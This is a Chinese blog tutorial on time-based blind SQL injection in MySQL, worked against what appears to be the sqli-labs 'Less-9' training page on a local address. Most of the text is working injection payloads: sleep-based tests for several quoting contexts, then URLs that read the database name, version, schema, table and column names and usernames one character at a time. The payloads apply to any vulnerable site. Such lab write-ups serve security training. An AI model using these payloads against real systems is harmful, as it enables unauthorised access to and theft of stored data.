首页 > 技术文章 > MYSQL时间盲住

dggsec 2018-04-12 10:17 原文

 

mysql注释 -- ,-- -,#,--+等

常用的判断语句:

' and if(1=0,1, sleep(10)) #

" and if(1=0,1, sleep(10)) --+

) and if(1=0,1, sleep(10)) --+

') and if(1=0,1, sleep(10)) --+

") and if(1=0,1, sleep(10)) --+

下面开始实验

这里我是知道数据库长度的,所以用的是等于=,实战中可以用大小于二分法来进行一个判断,缩短时间(或者丢sqlmap里)

1,输入检测语句

http://192.168.0.174/Less-9/?id=1'and if(1=0,1, sleep(4)) --+

sleep(4)是延迟4秒 --+是注释

按F12 -网络-右下角显示4秒后显示

所以说明咱们插入的语句被带入了数据库查询

 

2,查询当前数据库的长度,payload:

http://192.168.0.174/Less-9/?id=1'and if(length(database())=8,sleep(10),1)--+

length : 用于截取当前数据库的长度

 

 

延迟10秒说明我们判断的长度正确,当前数据库长度为8

3,查询当前数据库的第一个字符,payload:

http://192.168.0.174/Less-9/?id=1'and If(ascii(substr(database(),1,1))=115,sleep(10),1)--+

(substr(database(),1,1) : 截取当前数据库的第一个字符

ascii : 把截取到的字符串转换成ascii码(ascii表在最下面)

发现延迟了10秒,那么ascii码是等于115,通过查找ascii码表,115是小写的s

 

当数字改为2表示第二位数字,通过这样改变位数一个一个字符串进行截取,判断出数据库的名称为security

http://192.168.0.174/Less-9/?id=1'and If(ascii(substr(database(),2,1))=115,sleep(10),1)--+

4,

1.爆数据库的版本长度

http://192.168.0.174/Less-9/?id=1'and If(length((version()))=14,sleep(10),1)--+

2.爆数据库版本的第一个字符

http://192.168.0.174/Less-9/?id=1'and If(ascii(substr(version(),1,1))=53,sleep(10),1)--+

3.爆第一个数据库的长度

http://192.168.0.174/Less-9/?id=1'and If(length((select schema_name from information_schema.schemata limit 0,1))=18,sleep(10),1)--+

 

4.爆第一个数据库的第一个字符

http://192.168.0.174/Less-9/?id=1'and If(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(10),1)--+

 

这里通过改变limit后的值来确定第几个数据库,第一个数据库的下标为0,依次往后推就是其他的数据库

http://192.168.0.174/Less-9/?id=1'and If(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(10),1)--+

5.爆security数据库里的第四个表的长度

http://192.168.0.174/Less-9/?id=1'and If(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(10),1)--+

6.爆security数据库里的第四个表的第一个字符

http://192.168.0.174/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(10),1)--+

7.爆security数据库里的users表的第二个字段长度

http://192.168.0.174/Less-9/?id=1'and If(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))=8,sleep(10),1)--+

8.爆security数据库里的users表的第二个字段的第一个字符

http://192.168.0.174/Less-9/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep(10),1)--+

9.爆security数据库里的users表的第二个字段的第一个数据的长度

http://192.168.0.174/Less-9/?id=1'and If(length((select username from security.users limit 0,1))=4,sleep(10),1)--+

 

推荐阅读